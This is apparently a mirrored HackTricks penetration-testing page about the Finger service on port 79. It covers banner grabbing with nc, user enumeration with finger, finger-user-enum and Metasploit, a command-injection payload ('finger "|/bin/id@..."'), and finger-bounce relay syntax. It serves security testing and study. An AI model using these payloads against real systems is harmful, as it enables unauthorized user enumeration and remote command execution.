mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
75 lines
1.7 KiB
Markdown
75 lines
1.7 KiB
Markdown
# 79 - Pentesting Finger
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
|
|
## **Basic Info**
|
|
|
|
The **Finger** program/service is utilized for retrieving details about computer users. Typically, the information provided includes the **user's login name, full name**, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity (idle time), the last instance mail was read by the user, and the contents of the user's plan and project files.
|
|
|
|
**Default port:** 79
|
|
|
|
```
|
|
PORT STATE SERVICE
|
|
79/tcp open finger
|
|
```
|
|
|
|
## **Enumeration**
|
|
|
|
### **Banner Grabbing/Basic connection**
|
|
|
|
```bash
|
|
nc -vn <IP> 79
|
|
echo "root" | nc -vn <IP> 79
|
|
```
|
|
|
|
### **User enumeration**
|
|
|
|
```bash
|
|
finger @<Victim> #List users
|
|
finger admin@<Victim> #Get info of user
|
|
finger user@<Victim> #Get info of user
|
|
```
|
|
|
|
Alternatively you can use **finger-user-enum** from [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), some examples:
|
|
|
|
```bash
|
|
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
|
finger-user-enum.pl -u root -t 10.0.0.1
|
|
finger-user-enum.pl -U users.txt -T ips.txt
|
|
```
|
|
|
|
#### **Nmap execute a script for doing using default scripts**
|
|
|
|
### Metasploit uses more tricks than Nmap
|
|
|
|
```
|
|
use auxiliary/scanner/finger/finger_users
|
|
```
|
|
|
|
### Shodan
|
|
|
|
- `port:79 USER`
|
|
|
|
## Command execution
|
|
|
|
```bash
|
|
finger "|/bin/id@example.com"
|
|
finger "|/bin/ls -a /@example.com"
|
|
```
|
|
|
|
## Finger Bounce
|
|
|
|
[Use a system as a finger relay](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
|
|
|
```
|
|
finger user@host@victim
|
|
finger @internal@external
|
|
```
|
|
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
|
|
|